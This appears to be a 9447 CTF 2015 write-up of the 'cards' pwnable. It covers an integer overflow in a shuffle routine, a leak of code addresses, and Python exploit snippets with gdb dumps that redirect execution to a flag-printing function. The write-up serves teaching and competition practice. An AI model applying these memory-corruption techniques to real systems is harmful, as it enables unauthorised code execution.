9447 CTF exploit - cards 140

@mrexcessive @ WHA and Tim @ WHA

9447 CTF 2015

exploit cards

https://9447.plumbing/

The problem

We have released a new card game! If you win, you get a flag.
140 points

Check it out at cards-6xvx9tsi.9447.plumbing port 9447

64bit C linux program.  

Pwnable Exploit source and Makefile provided binary provided

 

The solution

First things first: download binary && file && objdump -d && strings && readelf

$ file ../cards
../cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe228ce7ba3b1fc6c14e5fa31a8541be9e110e655, not stripped

See what protection it has:

sudo checksec.sh --file ./cards
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   ./cards

Very protected against code injection. ROP would be only way. Need a leak of program address space.

On the positive side... There is a 'win' function in there.. so if we can get
a) exfil of program address
b) overwrite of return address within program (and possibly canary)
then we can just return to the 'win' function

Setup local server for testing and playing with gdb

echo "Testflag" > flag.txt
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./cards

Setup very basic connect and exorcise pwnserver.py and test

Not sure why... but local server doesn't send second string of prompt.
Have tried ,pty - no difference

Remote server sends both parts

Sending in up to 52 numbers

   readCards()
      They are scanf'd in
           scanf ("%lld", &a);
      When you send in 0 it returns current loop index value (0..51)
   first pass... readCards looks safe - no overwrite

Provided at least 1 number...
if entered N values then size == N

shuffle()
   for each element in deck (0..size), index -> i
      we know 1 <= size <= 51
      uses absolute value of element -> val
         we know element value is not zero
      uses val % size as index to get -> temp
      replaces val % size entry with deck[(i+1) % size] 
         so next element but final wraps back to 0
      then puts the temp value -> deck[(i+1) % size]
   So... abs(values) %size are used as indeces

There is some sort of value overflow

nc cards-6xvx9tsi.9447.plumbing 9447
Lets play a game!
Enter up to 52 cards (0 to stop):
279242712511354367745
0
Here are your cards left:
9223372036854775807 
Enter the index of the card to play:

Whether that breaks indexing or the move chooser...

Tim and I had a chat. Tim researched winnability of the core card game. Appears to be unwinnable whatever card values are provided. So we are pretty confident there is no 'win the game' through a valid route.

Because of the code in the shuffle() routine, I think that it is the most likely source of bugs:

void shuffle(long long *deck, int size) {
    int i;
    for (i = 0; i < size; i++) {
        long long val = deck[i];
        if (val < 0ll) {
            val = -val;
        }
        long long temp = deck[val % size];
        deck[val % size] = deck[(i + 1) % size];
        deck[(i + 1) % size] = temp;
    }
}

I'm messing trying to get an exfil. Tim hunting a segfault.

Send in a single big -ve number with a bunch of positive numbers and cards[] array presented is weird

for i in xrange(1,52):
   v = "%i" % i
   if i == 51:
      v = "%i" % - 0xf23456789abcdef01
   Send(v + "\n")
   r = GetResponse()
   if r <> "":
      sys.stdout.write(r)
      sys.stdout.flush()
Send("0\n")

Partial success...
Can get code segment exfil by sending in large -ve/+ve numbers... This is NOT under control yet... this is just hitting it with a binary stick.

def PwnServer():
   r = GetResponse(expect="stop)")             # throw initial response
   HexPrint(r)
   for i in xrange(1,53):
      v = i - 0xffffffffffffffff
      if i % 2 == 0:
         v = -v
      Send("%i\n" % v)
      r = GetResponse()
      if r <> "":
         sys.stdout.write(r)
         sys.stdout.flush()
   r = GetResponse(expect="to play:",timeout=0.5)
   if "left:" in r:
      drop,r = r.split("left:\n",1)
   keep,drop = r.split("\nEnter the",1)
   nums = keep.split(" ")
   for n in nums:
      if n <> "":
         v = int(n)
         if v <> -0x8000000000000000:
            print "%16x" % v
         else:
            sys.stdout.write("-")         # note MINVAL
            sys.stdout.flush()
   #nums[1] is the interesting one...
   return nums

   # EXFIL on example run gives value 0x7f9a24ce82a0 @ nums[1]

Meanwhile... in parallel in process attached GDB session - to check what we're getting -

gdb-peda$ x/1i 0x7f9a24ce82a0
   0x7f9a24ce82a0 <_IO_2_1_stdout_>:    xchg   DWORD PTR [rax],ebp
gdb-peda$ p printFlag
$1 = {} 0x7f9a24f10d90 <printFlag>
gdb-peda$ print 0x7f9a24ce82a0 - printFlag
Argument to arithmetic operation not a number or boolean.
gdb-peda$ print 0x7f9a24ce82a0 - print0x7f9a24f10d90
No symbol table is loaded.  Use the "file" command.
gdb-peda$ print 0x7f9a24ce82a0 - 0x7f9a24f10d90
$2 = 0xffffffffffdd7510
gdb-peda$ print 0x7f9a24f10d90 - 0x7f9a24ce82a0
$3 = 0x228af0        <<--- This is the delta... add it to exfiltrated address

I repeat this a couple of times and get the same delta from printFlag..
Plus.. bonus... the game stays alive after the exfil... so we just need that segfault to mess with...

While I was doing that, Tim has found a segfault:
Sending in:

999999999999999999999999999999999
-99999999999999999999999999999999
222222222222222222222222222222222
-22222222222222222222222222222222
333333333333333333333333333333333
-33333333333333333333333333333333
888888888888888888888888888888888
0

And in gdb that yields :

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffe35c8010 --> 0x8000000000000000 
RBX: 0x7 
RCX: 0x7 
RDX: 0x7fffffffffffffff 
RSI: 0x7 
RDI: 0x7fffe35c8010 --> 0x8000000000000000 
RBP: 0x7fffe35c8010 --> 0x8000000000000000 
RSP: 0x7fffe35c8008 --> 0x7fffffffffffffff 
RIP: 0x7f787d7dcad7 (<shuffle+71>:    repz ret)
R8 : 0x7fffe35c8048 --> 0x7fffffffffffffff 
R9 : 0x7fffe35c8008 --> 0x7fffffffffffffff 
R10: 0x7 
R11: 0x8000000000000000 
R12: 0x7f787d7dc8ea (<_start>:    xor    ebp,ebp)
R13: 0x7fffe35c82b0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7f787d7dcacf <shuffle+63>:    mov    QWORD PTR [r9],rdx
   0x7f787d7dcad2 <shuffle+66>:    mov    QWORD PTR [rax],r11
   0x7f787d7dcad5 <shuffle+69>:    jne    0x7f787d7dcaa0 <shuffle+16>
=> 0x7f787d7dcad7 <shuffle+71>:    repz ret 
   0x7f787d7dcad9:    nop    DWORD PTR [rax+0x0]
   0x7f787d7dcae0 <playGame>:    push   r15
   0x7f787d7dcae2 <playGame+2>:    push   r14
   0x7f787d7dcae4 <playGame+4>:    push   r13
[------------------------------------stack-------------------------------------]
0000| 0x7fffe35c8008 --> 0x7fffffffffffffff 
0008| 0x7fffe35c8010 --> 0x8000000000000000 
0016| 0x7fffe35c8018 --> 0x7fffffffffffffff 
0024| 0x7fffe35c8020 --> 0x8000000000000000 
0032| 0x7fffe35c8028 --> 0x7f787d7dce62 (<handleRequests+82>:    mov    esi,ebx)
0040| 0x7fffe35c8030 --> 0x7fffffffffffffff 
0048| 0x7fffe35c8038 --> 0x7fffffffffffffff 
0056| 0x7fffe35c8040 --> 0x8000000000000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

The 0x7ff... and 0x800 are MAXINT64 and MININT64... the truncated values fed in.

So... all we need now, is to replace the critical top of stack value with the calculated address of printFlag from the exfil.

But...

Putting it first yields same fail... and printFlag in wrong place

conti

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fff7364dc40 --> 0x7fffffffffffffff 
RBX: 0x7 
RCX: 0x7 
RDX: 0x8000000000000000 
RSI: 0x7 
RDI: 0x7fff7364dc40 --> 0x7fffffffffffffff 
RBP: 0x7fff7364dc40 --> 0x7fffffffffffffff 
RSP: 0x7fff7364dc38 --> 0x8000000000000000 
RIP: 0x7fbf14283ad7 (<shuffle+71>:    repz ret)
R8 : 0x7fff7364dc78 --> 0x7fffffffffffffff 
R9 : 0x7fff7364dc38 --> 0x8000000000000000 
R10: 0x7 
R11: 0x7fffffffffffffff 
R12: 0x7fbf142838ea (<_start>:    xor    ebp,ebp)
R13: 0x7fff7364dee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fbf14283acf :    mov    QWORD PTR [r9],rdx
   0x7fbf14283ad2 :    mov    QWORD PTR [rax],r11
   0x7fbf14283ad5 :    jne    0x7fbf14283aa0 <shuffle+16>
=> 0x7fbf14283ad7 :    repz ret 
   0x7fbf14283ad9:    nop    DWORD PTR [rax+0x0]
   0x7fbf14283ae0 :    push   r15
   0x7fbf14283ae2 :    push   r14
   0x7fbf14283ae4 :    push   r13
[------------------------------------stack-------------------------------------]
0000| 0x7fff7364dc38 --> 0x8000000000000000                           <<- put &printFlag()
0008| 0x7fff7364dc40 --> 0x7fffffffffffffff 
0016| 0x7fff7364dc48 --> 0x7fffffffffffffff 
0024| 0x7fff7364dc50 --> 0x7fbf14283e62 (<handleRequests+82>:    mov    esi,ebx)
0032| 0x7fff7364dc58 --> 0x8000000000000000 
0040| 0x7fff7364dc60 --> 0x7fffffffffffffff 
0048| 0x7fff7364dc68 --> 0x7fbf14283d90 (<printFlag>:    push   rbx)  <<- wrong posn...
0056| 0x7fff7364dc70 --> 0x8000000000000000 
[------------------------------------------------------------------------------]

Putting it last similarly bad
Putting it alone nothing
Maybe with 1x giant number after... ? NOPE
before ? NOPE
Negative before ? NOPE

OK so segfault is in shuffle... at return
Oh wait !!!
I got printFlag() running just now... without noticing ... go back through notes and recreate...
Now it's segfaulting on exit from printFlag()
Are we getting the flag out ?

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7 
RCX: 0x7fa5745a8620 (<write+16>:    cmp    rax,0xfffffffffffff001)
RDX: 0x7fa5748747a0 --> 0x0 
RSI: 0x7fa574873323 --> 0x8747a0000000000a 
RDI: 0x0 
RBP: 0x7fffae4c54b0 --> 0x8000000000000000 
RSP: 0x7fffae4c54b0 --> 0x8000000000000000 
RIP: 0x7fa574a9be02 (<printFlag+114>:    ret)
R8 : 0x7fa5748747a0 --> 0x0 
R9 : 0x0 
R10: 0x22 ('"')
R11: 0x246 
R12: 0x7fa574a9b8ea (<_start>:    xor    ebp,ebp)
R13: 0x7fffae4c5750 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fa574a9bdf8 <printFlag+104>:    jne    0x7fa574a9be03 
   0x7fa574a9bdfa <printFlag+106>:    add    rsp,0x110
   0x7fa574a9be01 <printFlag+113>:    pop    rbx
=> 0x7fa574a9be02 <printFlag+114>:    ret    
   0x7fa574a9be03 <printFlag+115>:    call   0x7fa574a9b840 <__stack_chk_fail@plt>
   0x7fa574a9be08:    nop    DWORD PTR [rax+rax*1+0x0]
   0x7fa574a9be10 <handleRequests>:    push   rbp
   0x7fa574a9be11 <handleRequests+1>:    push   rbx
[------------------------------------stack-------------------------------------]
0000| 0x7fffae4c54b0 --> 0x8000000000000000 
0008| 0x7fffae4c54b8 --> 0x7fffffffffffffff 
0016| 0x7fffae4c54c0 --> 0x8000000000000000 
0024| 0x7fffae4c54c8 --> 0x7fa574a9be62 (:    mov    esi,ebx)
0032| 0x7fffae4c54d0 --> 0x7fffffffffffffff 
0040| 0x7fffae4c54d8 --> 0x7fffffffffffffff 
0048| 0x7fffae4c54e0 --> 0x8000000000000000 
0056| 0x7fffae4c54e8 --> 0x7fffffffffffffff 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fa574a9be02 in printFlag ()

Yes ... Getting dummy flag locally with this code!

def Pwn_Segfault(jumpto_addr):
   # make execution go to jumpto_addr ....
   pwntab = []
   if True:
      pwntab.append( 88888888888888888888888888888888888888 )
      pwntab.append(-88888888888888888888888888888888888888 )
      pwntab.append( 88888888888888888888888888888888888888 )
      pwntab.append(-88888888888888888888888888888888888888 )
      pwntab.append( 88888888888888888888888888888888888888 )
      pwntab.append(-88888888888888888888888888888888888888 )
      pwntab.append( jumpto_addr )
   pwntab.append(0)
   for v in pwntab:
      Send("%i\n" % v)
      r = GetResponse()
      print r
   r = GetResponse(timeout=2)
   print r

OK seems that the exfiltrate is breaking it.
Maybe don't need all 52 values there ?

Bit more messing... Works locally with 1x -ve value

OK exfil still happens with no -ve values at all.... locally
But the exploit then fails.
Might be time limit on remote server ?

OK now get back error message:

timeout: the monitored command dumped core

Which is weird ... Remember though... weird is good !

More messing and a more interesting exfil instead of the flag

timeout: the monitored command dumped core
/usr/local/bin/ctf_wrapper.sh: line 6:  7278 Segmentation fault      timeout 30 $1 $2
*** Connection closed by remote host ***

I think that the initial exfil is breaking it too badly perhaps... Decide to simplify to smallest working block for that part and then rebuild the EIP overwrite.

Now we are getting address of _start() in the exfil, so new offest to printFlag()

OK with PwnExfil(5) get &_start
Got this
Enter up to 52 cards (0 to stop):

88888888888888888888888888888888888888

-88888888888888888888888888888888888888

140173524086160

0

Have a flag:

* Connection closed by remote host * from remote server...!

So... close.... It's in the routine, just not flushing stdout fast enough - before process dies.

So... need to find a way to return to useful code AFTER printFlag()

Ah... maybe jump to the call to printFlag... not printFlag itself ? so xe70 instead of xd90...

 e70:    48 8d 3d 62 01 00 00    lea    0x162(%rip),%rdi        # fd9 <_IO_stdin_used+0xb9>
 e77:    e8 a4 f9 ff ff          callq  820 <puts@plt>
 e7c:    31 c0                   xor    %eax,%eax
 e7e:    e8 0d ff ff ff          callq  d90 <printFlag>
 

This will perhaps leave the stack and rbp in a better state for a bit longer...

Flag eventually delivered this way

Exploit code can be found here... https://gist.github.com/mrexcessive/2691d6de22b84e4036f3